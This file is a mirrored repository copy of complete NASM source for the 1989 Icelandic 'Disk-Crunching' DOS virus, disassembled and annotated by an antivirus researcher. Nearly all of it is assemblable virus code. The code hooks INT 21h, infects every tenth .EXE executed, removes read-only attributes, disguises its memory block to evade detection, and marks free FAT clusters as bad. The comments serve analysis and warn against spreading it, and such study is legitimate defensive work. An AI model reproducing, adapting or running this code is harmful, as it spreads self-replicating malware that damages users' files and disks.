mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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554 lines
16 KiB
NASM
554 lines
16 KiB
NASM
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; THE ICELANDIC "DISK-CRUNCHING" VIRUS
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;
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; Another possible name for this virus might be "One-in-ten", since
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; it tries to infect every tenth program run. The Icelandic name for
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; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
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;
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; It was first located at one site in mid-June '89. It has since then
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; been found at a few other places, but is quite rare yet. So far it
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; does not seem to have spread to any other country.
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;
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; Disassembly done in June/July '89.
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;
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; The author of this program is unknown, but it appears to be of
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; Icelandic origin.
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;
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; All comments in this file were added by Fridrik Skulason,
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; University of Iceland/Computing Services.
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;
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; INTERNET: frisk@rhi.hi.is
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; UUCP: ...mcvax!hafro!rhi!frisk
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; BIX: FRISK
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;
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; To anyone who obtains this file - please be careful with it, I
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; would not like to see this virus be distributed too much. The code
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; is very clear, and the virus is quite well written. It would be VERY
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; easy to modify it to do something really harmful.
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;
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; A short description of the virus:
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;
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; It only infects .EXE files. Infected files grow by 656 to 671
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; bytes, and the length of the infected file MOD 16 will always be 0.
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; The virus attaches itself to the end of the programs it infects.
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;
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; When an infected file is run, the virus copies itself to top of
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; free memory, and modifies the memory blocks, in order to hide from
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; memory mapping programs. Some programs may overwrite this area,
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; causing the computer to crash.
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;
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; The virus does nothing if some other program has hooked INT 13
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; before it is run. This is probably done to avoid detection by
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; protection programs, but it also means that many ordinary
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; programs like SideKick and disk cache software will disable it.
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; Even the PRINT command will disable the virus. This reduces the
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; spread of the virus, but also greatly reduces the possibility that
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; the virus will be detected.
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;
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; The virus will hook INT 21H and when function 4B (EXEC) is called
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; it sometimes will infect the program being run. It will check every
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; tenth program that is run for infection, and if it is not already
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; infected, it will be.
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;
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; The virus will remove the Read-Only attribute before trying to
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; infect programs.
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;
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; Infected files can be easily recognized, since they always end in
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; 4418,5F19.
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;
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; To check for system infection, a byte at 0:37F is used - if it
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; contains FF the virus is installed in memory.
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;
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; This virus is slightly harmful, but does no serious damage.
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; On floppy-only, or machines with 10Mbyte hard disks it will do
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; no damage at all, but on machines with larger hard disks it will
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; select one unused entry in the FAT table, and mark it as bad, when it
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; infects a file. Since the virus only modifies the first copy of the
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; FAT, a quick fix is simply to copy the second table over the first.
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; This is the only "mistake" I have found in this virus. It appears
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; to be very well written - What a shame the programmer did not use
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; his abilities for something more constructive.
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;
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; This file was created in the following way: I wrote a small program,
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; that did nothing but write "Hello world!" and ran it several times,
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; until it became infected. I then diassembled the program, changed
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; it into an .ASM file, and worked on it until this file, when
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; assembled, produced the same file as the original infected one.
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;
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; (Or almost the same - the checksum in the header is different).
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;
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VIRSIZ EQU 128
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ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
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;
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; This is the original program.
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;
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_TEXT1 SEGMENT PARA PUBLIC 'CODE'
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_START DB 0b4H,09H
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PUSH CS
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POP DS
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MOV DX,OFFSET STRING
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INT 21H
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MOV AX,4C00H
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INT 21H
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STRING DB "Hello world!",0dh,0ah,"$"
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_TEXT1 ENDS
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_TEXT SEGMENT PARA PUBLIC 'CODE'
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;
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; The virus is basically divided in three parts.
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;
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; 1. The main program - run when an infected program is run.
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; It will check if the system is already infected, and if not
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; it will install the virus.
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;
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; 2. The new INT 21 handler. It will look for EXEC calls, and
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; (sometimes) infect the program being run.
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;
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; 3. The damage routine. It will select one unused cluster and mark it
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; as bad.
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;
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VIRUS PROC FAR
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;
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; This is a fake MCB
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;
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DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
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;
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; The virus starts by pushing the original start address on the stack,
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; so it can transfer control there when finished.
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;
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LABIA: SUB SP,4
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PUSH BP
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MOV BP,SP
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PUSH AX
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MOV AX,ES
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;
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; Put the the original CS on the stack. The ADD AX,data instruction
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; is modified by the virus when it infects other programs.
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;
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DB 05H
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ORG_CS DW 0010H
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MOV [BP+4],AX
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;
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; Put the the original IP on the stack. This MOV [BP+2],data instruction
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; is modified by the virus when it infects other programs.
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;
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DB 0C7H,46H,02H
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ORG_IP DW 0000H
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;
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; Save all registers that are modified.
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;
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PUSH ES
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PUSH DS
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PUSH BX
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PUSH CX
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PUSH SI
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PUSH DI
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;
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; Check if already installed. Quit if so.
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;
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XOR AX,AX
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MOV ES,AX
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CMP ES:[37FH],BYTE PTR 0FFH
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JNE L1
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;
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; Restore all registers and return to the original program.
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;
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EXIT: POP DI
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POP SI
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POP CX
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POP BX
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POP DS
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POP ES
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POP AX
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POP BP
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RET
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;
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; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
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; program is monitoring int 13, and quit.
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;
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L1: MOV AX,ES:[4EH]
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CMP AX,0070H
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JE L2
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CMP AX,0F000H
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JNE EXIT
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;
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; Set the installation flag, so infected programs run later will
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; recognize the infection.
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;
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L2: MOV ES:[37FH],BYTE PTR 0FFH
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;
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; The virus tries to hide from detection by modifying the memory block it
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; uses, so it seems to be a block that belongs to the operating system.
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;
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; It looks rather weird, but it seems to work.
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;
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MOV AH,52H
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INT 21H
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MOV AX,ES:[BX-2]
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MOV ES,AX
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ADD AX,ES:[0003]
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INC AX
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INC AX
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MOV CS:[0001],AX
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;
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; Next, the virus modifies the memory block of the infected program.
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; It is made smaller, and no longer the last block.
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;
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MOV BX,DS
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DEC BX
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MOV DS,BX
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MOV AL,'M'
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MOV DS:[0000],AL
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MOV AX,DS:[0003]
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SUB AX,VIRSIZ
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MOV DS:[0003],AX
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ADD BX,AX
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INC BX
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;
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; Then the virus moves itself to the new block. For some reason 2000
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; bytes are transferred, when 651 would be enough. Maybe the author just
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; wanted to leave room for future expansions.
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;
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MOV ES,BX
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XOR SI,SI
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XOR DI,DI
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PUSH CS
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POP DS
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MOV CX,2000
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CLD
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REP MOVSB
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;
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; The virus then transfers control to the new copy of itself.
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;
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PUSH ES
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MOV AX,OFFSET L3
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PUSH AX
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RET
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;
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; The main program modifies INT 21 next and finally returns to the
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; original program. The original INT 21 vector is stored inside the
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; program so a JMP [OLD INT21] instruction can be used.
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;
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L3: XOR AX,AX
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MOV ES,AX
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MOV AX,ES:[0084H]
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MOV CS:[OLD21],AX
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MOV AX,ES:[0086H]
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MOV CS:[OLD21+2],AX
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MOV AX,CS
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MOV ES:[0086H],AX
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MOV AX,OFFSET NEW21
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MOV ES:[0084H],AX
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JMP EXIT
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VIRUS ENDP
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;
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; This is the INT 21 replacement. It only does something in the case
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; of an EXEC call.
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;
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NEW21 PROC FAR
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CMP AH,4BH
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JE L5
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L4: DB 0EAH
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OLD21 DW 0,0
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;
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; Only attack every tenth program run.
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;
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L5: DEC CS:[COUNTER]
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JNE L4
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MOV CS:[COUNTER],10
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;
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; Save all affected registers.
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;
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PUSH AX
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PUSH BX
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PUSH CX
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PUSH DX
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PUSH SI
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PUSH DS
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;
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; Search for the file name extension ...
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;
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MOV BX,DX
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L6: INC BX
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CMP BYTE PTR [BX],'.'
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JE L8
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CMP BYTE PTR [BX],0
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JNE L6
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;
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; ... and quit unless it starts with "EX".
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;
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L7: POP DS
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POP SI
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POP DX
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POP CX
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POP BX
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POP AX
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JMP L4
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L8: INC BX
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CMP WORD PTR [BX],5845H
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JNE L7
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;
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; When an .EXE file is found, the virus starts by turning off
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; the read-only attribute. The read-only attribute is not restored
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; when the file has been infected.
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;
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MOV AX,4300H ; Get attribute
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INT 21H
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JC L7
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MOV AX,4301H ; Set attribute
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AND CX,0FEH
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INT 21H
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JC L7
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;
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; Next, the file is examined to see if it is already infected.
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; The signature (4418 5F19) is stored in the last two words.
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;
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MOV AX,3D02H ; Open / write access
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INT 21H
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JC L7
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MOV BX,AX ; file handle in BX
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PUSH CS ; now DS is no longer needed
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POP DS
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;
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; The header of the file is read in at [ID+8]. The virus then
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; modifies itself, according to the information stored in the
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; header. (The original CS and IP addressed are stored).
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;
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MOV DX,OFFSET ID+8
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MOV CX,1CH
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MOV AH,3FH
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INT 21H
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JC L9
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MOV AX,DS:ID[1CH]
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MOV DS:[ORG_IP],AX
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MOV AX,DS:ID[1EH]
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ADD AX,10H
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MOV DS:[ORG_CS],AX
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;
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; Next the read/write pointer is moved to the end of the file-4,
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; and the last 4 bytes read. They are compared to the signature,
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; and if equal nothing happens.
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;
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MOV AX,4202H
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MOV CX,-1
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MOV DX,-4
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INT 21H
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JC L9
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ADD AX,4
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MOV DS:[LEN_LO],AX
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JNC L8A
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INC DX
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L8A: MOV DS:[LEN_HI],DX
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MOV AH,3FH
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MOV CX,4
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MOV DX,OFFSET ID+4
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INT 21H
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JNC L11
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L9: MOV AH,3EH
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INT 21H
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L10: JMP L7
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;
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; Compare to 4418,5F19
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;
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L11: MOV SI,OFFSET ID+4
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MOV AX,[SI]
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CMP AX,4418H
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JNE L12
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MOV AX,[SI+2]
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CMP AX,5F19H
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JE L9
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;
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; The file is not infected, so the next thing the virus does is
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; infecting it. First it is padded so the length becomes a multiple
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; of 16 bytes. Tis is probably done so the virus code can start at a
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; paragraph boundary.
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;
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L12: MOV AX,DS:[LEN_LO]
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AND AX,0FH
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JZ L13
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MOV CX,16
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SUB CX,AX
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ADD DS:[LEN_LO],CX
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JNC L12A
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INC DS:[LEN_HI]
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L12A: MOV AH,40H
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INT 21H
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JC L9
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;
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; Next the main body of the virus is written to the end.
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;
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L13: XOR DX,DX
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MOV CX,OFFSET ID + 4
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MOV AH,40H
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INT 21H
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JC L9
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;
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; Next the .EXE file header is modified:
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;
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; First modify initial IP
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;
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MOV AX,OFFSET LABIA
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MOV DS:ID[1CH],AX
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;
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; Modify starting CS = Virus CS. It is computed as:
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;
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; (Original length of file+padding)/16 - Start of load module
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;
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MOV DX,DS:[LEN_HI]
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MOV AX,DS:[LEN_LO]
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SHR DX,1
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RCR AX,1
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SHR DX,1
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RCR AX,1
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SHR DX,1
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RCR AX,1
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SHR DX,1
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RCR AX,1
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SUB AX,DS:ID[10H]
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MOV DS:ID[1EH],AX
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;
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; Modify length mod 512
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;
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ADD DS:[LEN_LO],OFFSET ID+4
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JNC L14
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INC DS:[LEN_HI]
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L14: MOV AX,DS:[LEN_LO]
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AND AX,511
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MOV DS:ID[0AH],AX
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;
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; Modify number of blocks used
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;
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MOV DX,DS:[LEN_HI]
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MOV AX,DS:[LEN_LO]
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ADD AX,511
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JNC L14A
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INC DX
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L14A: MOV AL,AH
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MOV AH,DL
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SHR AX,1
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MOV DS:ID[0CH],AX
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;
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; Finally the modified header is written back to the start of the
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; file.
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;
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QQQ: MOV AX,4200H
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XOR CX,CX
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XOR DX,DX
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INT 21H
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JC ENDIT
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MOV AH,40H
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MOV DX,OFFSET ID+8
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MOV CX,1CH
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INT 21H
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JC ENDIT
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MOV AH,3EH
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INT 21H
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JNC DAMAGE
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;
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; Infection is finished - close the file and execute it
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;
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ENDIT: JMP L9
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NEW21 ENDP
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;
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; The damage routine. As before noted, it will only do damage on
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; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
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;
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TEMP DW 0
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;
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; Start by getting some information about the current drive, like size
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; of the FAT etc. Then compute the total number of sectors, and quit
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; unless it is greater than 20740. This is probably done since larger
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; disks use 16 bit FAT entries, instead of 12, which makes life easier
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; for the programmer.
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;
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DAMAGE: MOV AH,32H
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MOV DL,0
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INT 21H
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CMP AL,0FFH
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JE L21
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XOR AX,AX
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MOV AL,[BX+4]
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INC AX
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MOV CS:[TEMP],AX
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MOV AX,[BX+0DH]
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DEC AX
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MUL CS:[TEMP]
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ADD AX,[BX+0BH]
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JNC L15A
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INC DX
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L15A: CMP DX,0
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JNE L15B
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CMP AX,20740
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JBE L21
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;
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; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
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; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
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L15B: PUSH BX
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MOV AH,30H
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INT 21H
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POP BX
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CMP AL,4
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JAE L15
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XOR AX,AX
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MOV AL,[BX+0FH]
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JMP SHORT L16
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L15: MOV AX,[BX+0FH]
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L16: ADD AX,[BX+6]
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DEC AX
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MOV DX,AX
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MOV AL,[BX]
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;
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; Read the last sector in the first copy of the FAT. Search backwards
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; for an unused entry. If none is found, read the sector before that
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; and so on. If no free entry is found on the entire disk then quit.
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;
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L20: MOV CX,1
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MOV BX,OFFSET ID+4
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PUSH CS
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POP DS
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PUSH AX
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PUSH DX
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INT 25H
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POPF
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JC L21
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POP DX
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POP AX
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MOV SI,510
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L17: MOV BX,DS:[ID+4+SI]
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CMP BX,0000
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JE L19
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CMP SI,0000
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JE L18
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DEC SI
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DEC SI
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JMP L17
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L18: DEC DX
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CMP DX,8
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JE L21
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JMP L20
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;
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; A free entry has been found. Make it look like a bad cluster, by
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; changing the 0000 value to FFF7.
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;
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L19: MOV DS:[ID+4+SI],0FFF7H
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MOV CX,1
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MOV BX,OFFSET ID+4
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INT 26H
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POPF
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L21: JMP L7
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COUNTER DB 10
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LEN_LO DW ?
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LEN_HI DW ?
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ID DW 4418H,5F19H ; The signature of the virus.
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;
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; A buffer, used for data from the file.
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;
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_TEXT ENDS
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END LABIA
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